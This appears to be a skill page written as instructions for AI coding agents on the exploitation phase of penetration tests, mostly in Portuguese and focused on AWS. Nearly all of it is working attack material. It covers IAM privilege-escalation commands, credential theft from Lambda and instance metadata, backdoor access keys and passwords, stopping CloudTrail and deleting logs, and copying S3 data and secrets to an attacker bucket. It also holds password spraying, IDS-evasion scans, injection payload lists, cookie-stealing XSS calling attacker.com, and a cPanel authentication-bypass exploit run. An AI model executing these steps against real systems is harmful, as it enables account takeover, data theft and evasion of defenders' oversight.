Menu
PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
Security audit for AI agent endpoints (Claude Desktop/Code, MCP servers, plugins, extensions)
Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation
PTES Phase 2 - Intelligence gathering for AWS security assessments
Network reconnaissance and port scanning using Naabu, hping3, and complementary tools
Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa
Pentest especializado para pfSense CE e Plus — cobre todas as superfícies de ataque a partir da rede externa e interna, mapeado ao PTES e ao código-fonte real do pfSense
| name | pentest-exploitation |
| description | PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection |
| type | skill |
IMPORTANTE: Se durante a exploração você identificar pfSense, ATIVE A SKILL
pentest-pfsenseimediatamente.
# Default credentials test
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/
# Web GUI check
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"
# Service enumeration
nmap -sV -p 443,22,1194,500 TARGET | grep -iE "nginx|openssh|openvpn"
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para exploração geral (AWS)
# Use pentest-pfsense para:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation
Explorar ativamente as vulnerabilidades identificadas para confirmar impacto real e simular ataques de um adversário, seguindo PTES Section 4 (Exploitation).
# Family I - IAM Self-Modification (attack_chains.py:278-338)
I. CreatePolicy + AttachUserPolicy → Self Admin Escalation
- Severity: CRITICAL
- Steps: CreatePolicy → AttachUserPolicy → Admin Access
II. CreatePolicy + AttachRolePolicy → Role Privilege Escalation
- Severity: CRITICAL
- Steps: CreatePolicy → AttachRolePolicy → AssumeRole
# Family II - PassRole + Compute Service (attack_chains.py:343-403)
II. PassRole + CloudFormation CreateStack → IAM User Creation
- Chain-ID: PassRole+CFN→IAMUser
- Severity: CRITICAL
II. PassRole + Lambda CreateFunction → Steal Execution Role
- Chain-ID: PassRole+Lambda→StealRole
- Severity: CRITICAL
II. PassRole + EC2 RunInstances → IMDS Credential Theft
- Chain-ID: PassRole+EC2→IMDSSteal
- Severity: HIGH
# Family III - Compute Credential Theft (attack_chains.py:406-522)
III. SSM SendCommand → Steal Instance Profile
- Chain-ID: SSMSendCommand→StealInstanceRole
- Severity: HIGH
III. EC2 ModifyUserData → Steal Role via UserData
- Chain-ID: EC2ModifyUserData→StealRole
- Severity: HIGH
III. Lambda UpdateCode → Steal Execution Role
- Chain-ID: Lambda:UpdateCode→StealExecRole
- Severity: HIGH
III. ECS UpdateService → Steal Task Role
- Chain-ID: ECS:UpdateService→StealTaskRole
- Severity: HIGH
# Family IV - Secret Exfiltration → Credential Reuse (attack_chains.py:525-620)
IV. SecretsManager GetSecretValue → IAM Key Reuse
- Chain-ID: SecretsManager→IAMKeyReuse
- Severity: HIGH/MEDIUM
IV. SSM GetParameter → IAM Key Reuse
- Chain-ID: SSMParameter→IAMKeyReuse
- Severity: HIGH/MEDIUM
IV. Lambda GetFunction → Env Secrets
- Chain-ID: Lambda:GetFunction→EnvSecrets
- Severity: MEDIUM
IV. S3 GetObject → Credential Files
- Chain-ID: S3:GetObject→CredFile
- Severity: MEDIUM
# Family V - Account Takeover (attack_chains.py:623-729)
V. UpdateLoginProfile → Console Takeover
- Chain-ID: UpdateLoginProfile→ConsoleTakeover
- Severity: CRITICAL
V. MFA Bypass + UpdateLogin → Takeover Without MFA
- Chain-ID: MFABypass+UpdateLogin→Takeover
- Severity: CRITICAL
V. CreateAccessKey → Persistent Admin Access
- Chain-ID: CreateAccessKey→PersistentAdmin
- Severity: CRITICAL
V. UpdateAssumeRolePolicy + AssumeRole → Role Takeover
- Chain-ID: UpdateAssumeRole+AssumeRole→Takeover
- Severity: CRITICAL
# Family VI - Group Membership (attack_chains.py:732-779)
VI. AddUserToGroup → Join High-Privilege Group
- Chain-ID: AddUserToGroup→GroupPrivEsc
- Severity: HIGH
VI. PutGroupPolicy + AddUserToGroup → Self-Escalation
- Chain-ID: PutGroupPolicy+AddUser→SelfEscalation
- Severity: CRITICAL
# Family VII - Cross-Account Lateral Movement (attack_chains.py:782-846)
VII. WildcardTrust → Any Principal Assumes High-Priv Role
- Chain-ID: WildcardTrust→AnyPrincipalAssume
- Severity: CRITICAL
VII. Cross-Account Trust → Dangerous Role → Lateral Movement
- Chain-ID: CrossAccount→DangerousRole
- Severity: CRITICAL
# Family A - IAM Policy Manipulation (attack_chains.py:1018-1099)
A. CreatePolicyVersion (CRITICAL)
B. SetDefaultPolicyVersion (CRITICAL)
C. AttachUserPolicy (CRITICAL)
D. AttachRolePolicy (CRITICAL)
E. AttachGroupPolicy (CRITICAL)
F. PutUserPolicy (CRITICAL)
G. PutRolePolicy (CRITICAL)
H. PutGroupPolicy (CRITICAL)
I. CreatePolicy (HIGH)
J. AddUserToGroup (HIGH)
# Family B - Role Trust/Assumption Manipulation (attack_chains.py:1102-1126)
A. UpdateAssumeRolePolicy (CRITICAL)
B. WildcardTrustPrincipal (CRITICAL)
C. AssumeRoleWildcardResource (HIGH)
# Family C - Compute: PassRole + Resource Abuse (attack_chains.py:1129-1234)
A. PassRole+Lambda:CreateFunction (CRITICAL)
B. PassRole+Lambda:UpdateFunctionCode (HIGH)
C. PassRole+EC2:RunInstances (HIGH)
D. PassRole+ECS:RegisterTaskDefinition (HIGH)
E. PassRole+ECS:UpdateService (HIGH)
F. PassRole+CloudFormation:CreateStack (CRITICAL)
G. PassRole+CloudFormation:UpdateStack (HIGH)
H. PassRole+Glue:CreateJob (HIGH)
I. PassRole+SageMaker:CreateTrainingJob (HIGH)
J. PassRole+CodeBuild:CreateProject (HIGH)
K. PassRole+DataPipeline (MEDIUM)
L. PassRole+SSM:SendCommand (HIGH)
# Family D - Credential/Key Exfiltration (attack_chains.py:1237-1295)
A. EC2:ModifyInstanceAttribute (HIGH)
B. SSM:SendCommand (HIGH)
C. SecretsManager:GetSecretValue (HIGH)
D. SSM:GetParameter (MEDIUM)
E. Lambda:GetFunction (MEDIUM)
F. S3:GetObject:Wildcard (MEDIUM)
# Family E - Service-Specific Escalation (attack_chains.py:1298-1344)
A. UpdateLoginProfile (CRITICAL)
B. CreateLoginProfile (HIGH)
C. CreateAccessKey (CRITICAL)
D. UpdateAccessKey (MEDIUM)
E. MFABypass (HIGH)
# Family F - Trust Condition Bypass (attack_chains.py:1347-1426)
A. TrustPolicyNoCondition (HIGH)
B. TrustPolicyNoExternalId (HIGH)
C. TrustPolicyNoMFARequired (MEDIUM)
PATH-001: iam:CreatePolicyVersion → Admin em qualquer policy gerenciada
PATH-002: iam:SetDefaultPolicyVersion → Ativar versão dormante
PATH-003: iam:AttachUserPolicy → Attach em user
PATH-004: iam:AttachRolePolicy → Attach em role
PATH-005: iam:AttachGroupPolicy → Attach em group
PATH-006: iam:PutUserPolicy → Inline policy em user
PATH-007: iam:PutRolePolicy → Inline policy em role
PATH-008: iam:PutGroupPolicy → Inline policy em group
PATH-009: iam:AddUserToGroup → Herdar permissões
PATH-010: iam:UpdateAssumeRolePolicy → Modificar trust
PATH-011: iam:CreateAccessKey → Key persistente
PATH-012: iam:CreateLoginProfile → Console access
PATH-013: iam:UpdateLoginProfile → Overwrite password
PATH-014: IMDSv1 → Credential theft (IMDSv1 enabled)
PATH-015: ec2:RunInstances + iam:PassRole → EC2 instance profile
PATH-016: lambda:CreateFunction + iam:PassRole → Lambda execution role
PATH-018: lambda:CreateEventSourceMapping → Auto-trigger
PATH-019: lambda:UpdateFunctionCode → Inject code
PATH-020: lambda:UpdateFunctionConfiguration → Malicious layer
PATH-021: glue:CreateDevEndpoint → SSH access
PATH-022: glue:UpdateDevEndpoint → SSH key injection
PATH-023: cloudformation:CreateStack → Service role
PATH-024: datapipeline:CreatePipeline → Shell activity
PATH-025: sagemaker:CreateNotebookInstance → Notebook
PATH-026: sagemaker:CreatePresignedUrl → Session hijack
PATH-027: codestar:CreateProject → Project role
PATH-030: sts:AssumeRole (same-account) → Role assumption
PATH-031: sts:AssumeRole (cross-account) → Lateral movement
PATH-032: ssm:SendCommand → RCE via Run Command
PATH-033: ec2:InstanceConnect → SSH via public key
PATH-035: s3:PutBucketPolicy → Bucket access
PATH-036: secretsmanager:GetSecretValue → Secret harvest
PATH-037: ecs-tasks:GetTaskMetadata → Task role creds
PATH-042: cloudtrail:StopLogging / guardduty:DeleteDetector → Defensive blinding
# Encontrar todos os paths de privilege escalation
worst privesc --from arn:aws:iam::ACCOUNT:user/USER
# Paths com target específico (permission)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "permission:*:*"
# Paths com target específico (role)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "principal:arn:aws:iam::ACCOUNT:role/Admin"
# Output em JSON para automação (PTES 4.9 - Pivoting)
worst privesc --from <arn> --output json
# Limitar hops (para ambientes grandes)
worst privesc --from <arn> --max-hops 5
VULNERABILITY: iam:CreatePolicyVersion
PATH-ID: PATH-001
SEVERITY: CRITICAL
PTES: 4.1.1 - Countermeasure Bypass
EXPLOITATION STEPS:
1. Identificar policy gerenciada acessível
2. Criar nova versão com AdministratorAccess
3. Definir como versão default
4. Acessar com privilégios elevados
COMANDOS DE EXPLORAÇÃO:
# Criar nova versão da policy
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
--policy-document file://admin-policy.json \
--set-as-default
# Policy document malicioso
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
VERIFICAÇÃO:
aws iam list-policy-versions --policy-arn <arn>
VULNERABILITY: iam:AttachUserPolicy / iam:AttachRolePolicy
PATH-ID: PATH-003, PATH-004
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar policy com AdministratorAccess
2. Attach policy ao próprio user/role
3. Aguardar propagação (~30 segundos)
4. Verificar novas permissões
COMANDOS DE EXPLORAÇÃO:
aws iam attach-user-policy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--user-name <self-user>
VERIFICAÇÃO:
aws iam list-attached-user-policies --user-name <user>
VULNERABILITY: iam:PutUserPolicy / iam:PutRolePolicy
PATH-ID: PATH-006, PATH-007
SEVERITY: CRITICAL
PTES: 4.2.1 - Fuzzing
EXPLOITATION STEPS:
1. Criar policy document malicioso
2. Inject inline policy no target
3. Usar novas permissões
COMANDOS DE EXPLORAÇÃO:
aws iam put-user-policy \
--user-name <target-user> \
--policy-name BackdoorPolicy \
--policy-document file://admin-policy.json
VULNERABILITY: iam:AddUserToGroup
PATH-ID: PATH-009
SEVERITY: HIGH
PTES: 4.7.3 - Locating Shares
EXPLOITATION STEPS:
1. Identificar grupo com permissões elevadas
2. Adicionar próprio user ao grupo
3. Herdar permissões do grupo
COMANDOS DE EXPLORAÇÃO:
aws iam add-user-to-group \
--user-name <self-user> \
--group-name AdminGroup
VERIFICAÇÃO:
aws iam list-groups-for-user --user-name <user>
VULNERABILITY: iam:UpdateAssumeRolePolicy
PATH-ID: PATH-010
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar role de alto valor
2. Modificar trust policy para incluir próprio ARN
3. Assumir a role
4. Acessar com privilégios elevados
COMANDOS DE EXPLORAÇÃO:
# Criar novo trust policy
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::ACCOUNT:user/attacker",
"arn:aws:iam::ACCOUNT:role/original-role"
]
},
"Action": "sts:AssumeRole"
}]
}
# Atualizar trust policy
aws iam update-assume-role-policy \
--role-name <target-role> \
--policy-document file://new-trust.json
# Assumir role
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/target-role \
--role-session-name exploitation
VULNERABILITY: iam:CreateAccessKey / iam:CreateLoginProfile
PATH-ID: PATH-011, PATH-012
SEVERITY: CRITICAL
PTES: 4.7 - Pillaging
EXPLOITATION STEPS (Access Key):
1. Identificar user alvo (admin)
2. Criar access key para o user
3. Salvar credenciais
4. Usar credenciais persistentes
COMANDOS DE EXPLORAÇÃO:
aws iam create-access-key --user-name <admin-user>
# Output:
# {
# "AccessKey": {
# "AccessKeyId": "AKIA...",
# "SecretAccessKey": "secret..."
# }
# }
# Configurar perfil
aws configure set aws_access_key_id AKIA... --profile compromised
aws configure set aws_secret_access_key secret... --profile compromised
EXPLOITATION STEPS (Console):
aws iam create-login-profile \
--user-name <admin-user> \
--password 'SecurePassword123!' \
--no-password-reset-required
ACESSO:
https://ACCOUNT_ID.signin.aws.amazon.com/console
Username: <admin-user>
Password: SecurePassword123!
VULNERABILITY: iam:PassRole + lambda:CreateFunction
PATH-ID: PATH-016
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Criar Lambda function com essa role
3. Inject código malicioso
4. Invocar function
5. Coletar credenciais da role
COMANDOS DE EXPLORAÇÃO:
# Criar deployment package
mkdir lambda_function
cd lambda_function
echo "import os
def lambda_handler(event, context):
return {
'access_key': os.environ['AWS_ACCESS_KEY_ID'],
'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],
'session_token': os.environ.get('AWS_SESSION_TOKEN', '')
}" > lambda_function.py
zip -r function.zip .
# Criar function
aws lambda create-function \
--function-name exfil-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/high-priv-role \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
# Invocar
aws lambda invoke \
--function-name exfil-function \
--cli-binary-format raw-in-base64-out \
--payload '{}' \
output.json
cat output.json
VULNERABILITY: iam:PassRole + ec2:RunInstances
PATH-ID: PATH-015
SEVERITY: HIGH
PTES: 4.7.2 - Data Exfiltration
EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Launch EC2 instance com instance profile
3. Acessar instância (SSH/SSM)
4. Coletar credenciais do IMDS
COMANDOS DE EXPLORAÇÃO:
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--iam-instance-profile Name=high-priv-profile \
--security-group-ids sg-xxx \
--subnet-id subnet-xxx
# Acessar via SSM
aws ssm start-session --target <instance-id>
# Coletar credenciais (dentro da instância)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
VULNERABILITY: ssm:SendCommand
PATH-ID: PATH-032
SEVERITY: HIGH
PTES: 4.9.1 - Pivoting Inside
EXPLOITATION STEPS:
1. Identificar EC2 instances gerenciadas pelo SSM
2. Enviar Run Command
3. Executar comandos como a role da instância
COMANDOS DE EXPLORAÇÃO:
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--targets "Key=instanceIds,Values=<instance-id>" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]' \
--comment "Exploitation test"
# Ver resultado
aws ssm list-command-invocations --command-id <command-id> --details
VULNERABILITY: secretsmanager:GetSecretValue
PATH-ID: PATH-036
SEVERITY: HIGH
PTES: 4.7 - Pillaging
EXPLOITATION STEPS:
1. Listar todos os secrets
2. Ler valor de cada secret
3. Extrair credenciais/dados sensíveis
COMANDOS DE EXPLORAÇÃO:
# Listar secrets
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'
# Ler cada secret
aws secretsmanager get-secret-value --secret-id <secret-name> --query 'SecretString' --output text
VULNERABILITY: Cross-account trust + sts:AssumeRole
PATH-ID: PATH-031
SEVERITY: CRITICAL
PTES: 4.9.1 - Pivoting Inside
EXPLOITATION STEPS:
1. Identificar role cross-account com trust adequado
2. Assumir role da conta alvo
3. Executar ações na conta alvo
COMANDOS DE EXPLORAÇÃO:
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
--role-session-name cross-account-exploit
# Configurar credenciais da conta alvo
export AWS_ACCESS_KEY_ID=<from assume-role output>
export AWS_SECRET_ACCESS_KEY=<from assume-role output>
export AWS_SESSION_TOKEN=<from assume-role output>
# Verificar identidade na conta alvo
aws sts get-caller-identity
CHAIN: CreatePolicy + AttachUserPolicy
PTES: 4.1 - Precision Strike
STEPS:
1. aws iam create-policy-version --policy-arn <policy> --policy-document admin.json --set-as-default
2. aws iam attach-user-policy --policy-arn <policy> --user-name <self>
3. aws sts get-caller-identity (verificar permissões)
IMPACTO: Admin completo na conta
CHAIN: PassRole + Lambda CreateFunction
PTES: 4.2 - Customized Exploitation
STEPS:
1. aws lambda create-function --role <high-priv-role> --function-name backdoor
2. aws lambda invoke --function-name backdoor
3. Coletar credenciais do output
IMPACTO: Credenciais de role administrativa
CHAIN: Cross-Account Trust → Dangerous Role
PTES: 4.9.1 - Pivoting Inside
STEPS:
1. aws sts assume-role --role-arn arn:aws:iam::TARGET:role/exploit
2. aws iam attach-user-policy (na conta alvo)
3. aws s3 ls (acessar dados na conta alvo)
IMPACTO: Comprometimento de múltiplas contas
Nota: Antes de explorar, use Naabu para identificar superfície de ataque:
# Identificar portas abertas (alvos potenciais)
naabu -host target.com -p - -silent
# Com service discovery
naabu -host target.com -p - -sV -silent
# Identificar CDN/WAF
naabu -host target.com -ec -cdn -silent
# Output para análise
naabu -host target.com -j -o scan-results.json
Use os resultados do Naabu para priorizar alvos de exploração.
VULNERABILITY: Firewall ruleset misconfiguration / IDS evasion
TOOL: hping3 (instalado no Kali Linux)
SEVERITY: HIGH (depende do contexto)
PTES: 4.1.1 - Countermeasure Bypass / 4.2.5 - Brute-Force
QUANDO USAR:
- Firewall stateless detectado na fase de Intelligence Gathering
- IDS/IPS precisa ser testado para detecção de scans
- Necessário bypass de filtros de pacote por fragmentação
- Testar rate limiting de rede
- Mapear comportamento de firewall para exploração posterior
EXPLOITATION STEPS:
1. ACK Scan para bypass de firewall stateless
hping3 -A -p 80 target.com
# RST = porta não filtrada (firewall stateless não rastreia estado)
# Sem resposta = firewall stateful ou drop
2. SYN Scan com fragmentação (bypass de ACLs)
hping3 -S -p 80 -f target.com
# Fragmenta packets em 2 partes, bypass de regras simples
3. XMAS Scan para evasão de IDS básico
hping3 -F -P -U -p 80 target.com
# Flags FIN+PUSH+URG, padrão anômalo que alguns IDS não detectam
4. NULL Scan (sem flags)
hping3 -O -p 80 target.com
# Nenhuma flag TCP, bypass de filtros baseados em flags
5. Source IP Spoofing para testes de IDS
hping3 -S -p 80 -a 10.0.0.1 target.com
# Testa se IDS correlaciona respostas com origem real
6. Random source IP (teste de detecção de spoofing)
hping3 -S -p 80 --rand-source target.com
INTERPRETAÇÃO DOS RESULTADOS:
- SYN-ACK recebido = porta aberta (firewall permite)
- RST recebido = porta fechada (firewall permite)
- Sem resposta = porta filtrada ou drop pelo firewall
PAYLOADS DE FRAGMENTAÇÃO:
# Fragmentação manual com offset customizado
hping3 -S -p 80 -f -g 8 target.com # offset de 8 bytes
# MTU virtual para fragmentação automática
hping3 -S -p 80 -m 16 target.com # MTU de 16 bytes
DEFENSIVE BLINDING TEST (PTES 4.9.2 - Cleanup):
# Testar se tráfego é logado
hping3 -S -p 80 -c 10 target.com
# Verificar logs do firewall/IDS após scan
TEMPLATE DE FINDING:
FINDING: FIREWALL-BYPASS-HPING3
CATEGORY: NETWORK_EXPLOITATION
SEVERITY: HIGH
PTES: 4.1.1 - Countermeasure Bypass
TARGET:
- IP/Hostname: [target]
- Portas acessíveis via bypass: [lista]
DESCRIPTION:
Firewall stateless detectado permite bypass via ACK scan.
Portas [X, Y, Z] acessíveis usando técnicas de evasão.
EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)
PTES REFERENCE: Section 4.1.1 (Countermeasure Bypass)
VULNERABILITY: Controle de acesso baseado em IP via headers HTTP
TOOL: headi (instalado em /opt/Tools/HTTP-Injection/headi)
SEVERITY: HIGH/CRITICAL
PTES: 4.1.1.8 - WAF Bypass / 4.2 - Customized Exploitation
QUANDO USAR:
- Recurso retorna 403/401 por restrição de IP
- Suspeita de proxy reverso que confia em headers do cliente
- Endpoint interno acessível via header spoofing
- Bypass de WAF por IP whitelist
EXPLOITATION STEPS:
1. Confirmar o bloqueio baseline
curl -v https://target.com/restricted → 403 Forbidden
2. Executar headi com payloads padrão (localhost bypass)
headi -u https://target.com/restricted
3. Se IPs internos foram enumerados na fase de Intelligence Gathering:
headi -u https://target.com/restricted -p internal_ips.txt
4. Confirmar bypass manualmente com o header identificado
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
curl -H "X-Real-IP: 127.0.0.1" https://target.com/restricted
5. Explorar o recurso agora acessível
INTERPRETAÇÃO DO OUTPUT:
[+] verde = mudança no Content-Length → bypass em potencial
[-] vermelho = sem mudança
Exemplo positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 8192]
PAYLOADS PADRÃO DO HEADI:
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433
HEADERS MAIS EFETIVOS PARA BYPASS:
- X-Forwarded-For (mais comum em proxies/load balancers)
- X-Real-IP (nginx)
- X-Custom-IP-Authorization (aplicações customizadas)
- True-Client-IP (Cloudflare)
- X-Original-URL / X-Rewrite-URL (IIS/mod_rewrite bypass)
VARIAÇÃO - SSRF via Host header:
headi pode identificar Host header injection → use para SSRF
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
# Usar endpoints VPC (não logged)
aws s3 ls --endpoint-url https://s3.vpce.amazonaws.com
# Usar sessões temporárias (menor rastro)
aws sts assume-role --role-arn <role> --role-session-name temp
# Evitar ações de escrita destrutivas
# Em vez de DeleteBucket: apenas listar
aws s3 ls s3://target-bucket
# Adicionar delay entre comandos
sleep 2 && aws iam attach-user-policy ...
sleep 2 && aws sts get-caller-identity
# Parar CloudTrail (apenas se autorizado!)
aws cloudtrail stop-logging --name <trail-name>
# Deletar logs específicos
aws logs delete-log-group --log-group-name /aws/cloudtrail/...
EXPLOITATION: [Nome da técnica]
DATE: [YYYY-MM-DD HH:MM:SS UTC]
TARGET: [ARN do recurso]
PATH-ID: [PATH-XXX]
PTES SECTION: [4.1/4.2/4.4/4.7/4.9]
PRE-EXPLOITATION STATE:
[Estado antes da exploração]
COMMANDS EXECUTED:
[Comandos exatos executados]
POST-EXPLOITATION STATE:
[Estado após exploração]
EVIDENCE:
[Screenshots, outputs, logs]
IMPACT CONFIRMED:
[O que foi confirmado com esta exploração]
PTES REFERENCE:
- Section: [PTES 4.x]
- Subsection: [Specific technique]
# Verificar permissões atuais
aws sts get-caller-identity
# Listar permissões efetivas
aws iam simulate-principal-policy \
--policy-source-arn <self-arn> \
--action-names "*" \
--resource-arns "*"
# Verificar acesso a recursos críticos
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances
# Criar access key persistente (apenas se autorizado!)
aws iam create-access-key --user-name <compromised-user>
# Guardar para acesso futuro
# ARN: AKIA...
# Secret: ...
# Criar console access
aws iam create-login-profile \
--user-name <compromised-user> \
--password 'BackdoorPassword123!' \
--no-password-reset-required
# Criar Lambda com trigger
aws lambda create-function \
--function-name backdoor-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/backdoor-role \
--handler lambda_function.lambda_handler \
--zip-file fileb://backdoor.zip
# Listar buckets acessíveis
aws s3 ls
# Copiar dados para bucket controlado
aws s3 cp s3://target-bucket/sensitive-data/ s3://attacker-bucket/ --recursive
# Exportar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' | xargs -I {} \
aws secretsmanager get-secret-value --secret-id {} >> exfiltrated-secrets.txt
# Conectar ao RDS via SSM
aws ssm start-session --target <instance-id>
# Dump database
mysqldump -h <rds-endpoint> -u admin -p database > dump.sql
security-passwords plugin)Local: `seclists-categories passwords/passwords/references/`
Wordlists Disponíveis:
- `500-worst-passwords.txt` - Quick tests for weak passwords
- `10k-most-common.txt` - Common passwords for brute force
- `100k-most-used-passwords-NCSC.txt` - NCSC password list
- `probable-v2_top-12000.txt` - Statistically probable passwords
- `darkweb2017_top-100.txt` - Dark web breach compilations
- `darkweb2017_top-1000.txt` - Extended dark web list
- `darkweb2017_top-10000.txt` - Full dark web compilation
- `2024-197_most_used_passwords.txt` - Recent password analysis
- `top-passwords-shortlist.txt` - Quick reference list
- `best1050.txt` - Curated best passwords list
# Hydra - SSH brute force
hydra -L seclists-categories/usernames/top-usernames-shortlist.txt \
-P seclists-category/passwords/500-worst-passwords.txt \
ssh://target.com
# Hydra - HTTP POST form
hydra -l admin -P seclists-category/passwords/10k-most-common.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
# Hashcat - Password cracking
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/500-worst-passwords.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/10k-most-common.txt
# John the Ripper
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
john --wordlist=seclists-category/passwords/probable-v2_top-12000.txt hash.txt
# Low-and-slow password spraying
for password in $(cat seclists-category/passwords/500-worst-passwords.txt); do
curl -s -X POST https://target.com/login \
-d "username=admin&password=$password" \
-o /dev/null -w "%{http_code}\n"
sleep 5 # Avoid detection
done
Combinações comuns para testar:
admin:admin
admin:password
admin:123456
root:root
test:test
guest:guest
service:service
oracle:oracle
postgres:postgres
mysql:mysql
# SQL Injection in CTFs
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"admin' --",
"' UNION SELECT NULL--",
"' UNION SELECT username,password FROM users--",
"' UNION SELECT LOAD_FILE('/flag')--" # MySQL file read
]
# Command Injection
injection_payloads = [
"; cat /flag",
"| cat /flag",
"&& cat /flag",
"$(cat /flag)",
"`cat /flag`"
]
# Directory Traversal
traversal_payloads = [
"../../../flag",
"....//....//....//flag",
"..%2F..%2F..%2Fflag",
"/etc/passwd",
"/proc/self/environ"
]
// Basic XSS - steal admin cookie
<script>fetch('http://attacker.com?c='+document.cookie)</script>
// Bypass filters
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
// Exfiltrate data
<script>
fetch('http://attacker.com?flag=' + btoa(document.body.innerText))
</script>
# Identificar hash type
hashid hash.txt
hash-identifier
# Crack com wordlists
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/probable-v2_top-12000.txt
# Brute force login em CTF
hydra -l admin -P seclists-category/passwords/500-worst-passwords.txt \
target.com http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
from pwn import *
# Template para CTF binary exploitation
r = remote('target.com', 1337)
# Buffer overflow
offset = 64
payload = b'A' * offset + p64(0x4011c6) # Return address
r.sendline(payload)
r.interactive()
# ROP chain
rop = ROP('./binary')
rop.call(rop.ret) # Stack alignment
rop.call(rop.plt['puts'], [rop.got['puts']])
rop.call(rop.symbols['main'])
# File carving
binwalk -e firmware.bin
foremost -i image.dd
# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist
# PCAP analysis
tshark -r capture.pcap -Y "http.request"
strings capture.pcap | grep -i flag
# Steganography
steghide extract -sf image.jpg
zsteg image.png
# Caesar cipher
def caesar_decrypt(ciphertext, shift):
return ''.join(chr((ord(c) - shift - 65) % 26 + 65) for c in ciphertext)
# XOR brute force
def xor_brute(ciphertext):
for key in range(256):
plaintext = ''.join(chr(b ^ key) for b in ciphertext)
if plaintext.isprintable():
print(f"Key {key}: {plaintext}")
# Base64 variations
import base64
base64.b64decode(encoded)
base64.b32decode(encoded)
base64.b16decode(encoded)
VULNERABILITY: CVE-2026-41940 (cPanel Auth Bypass)
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
AFFECTED: cPanel & WHM (todas versões até patch fev/2026)
TOOLS: /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py
PTES: 4.2 - Customized Exploitation / 4.1.1.8 - WAF Bypass
A vulnerabilidade permite bypass completo de autenticação no cPanel & WHM através de:
Mecanismo de ataque (4 stages):
Stage 1: Pre-auth → POST /login/?login_only=1 → whostmgrsession cookie
Stage 2: Inject → GET /scripts2/doautoconfig + CRLF payload → 307 redirect + token leak
Stage 3: Propagate → GET /scripts2/listaccts → session raw → cache
Stage 4: Verify → GET /{token}/json-api/version → API access confirmed
Por que é CVSS 9.8:
1. Acesso remoto ao cPanel/WHM (porta 2087 ou 2083)
2. Python 3.8+ com requests instalado
3. Target executando cPanel sem patch
# STEP 1: Detectar cPanel (Intelligence Gathering)
httpx -u https://TARGET -title -tech-detect
# Indicadores: cPanel, WHM, porta 2087/2083
# STEP 2: Detectar vulnerabilidade (safe, non-destructive)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password detect
# Output esperado (vulnerável):
# [+] Stage 1: Pre-auth session minted
# [+] Stage 2: CRLF injection successful
# [+] Token: a1b2c3d4e5f6
# [+] VULNERABLE: CVE-2026-41940 confirmed
# STEP 3: Explorar bypass completo
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password exploit
# Output esperado:
# [+] Stage 3: Session propagated to cache
# [+] Stage 4: API access verified
# [+] WHM API version: 1.1.104
# [+] Root access: GRANTED
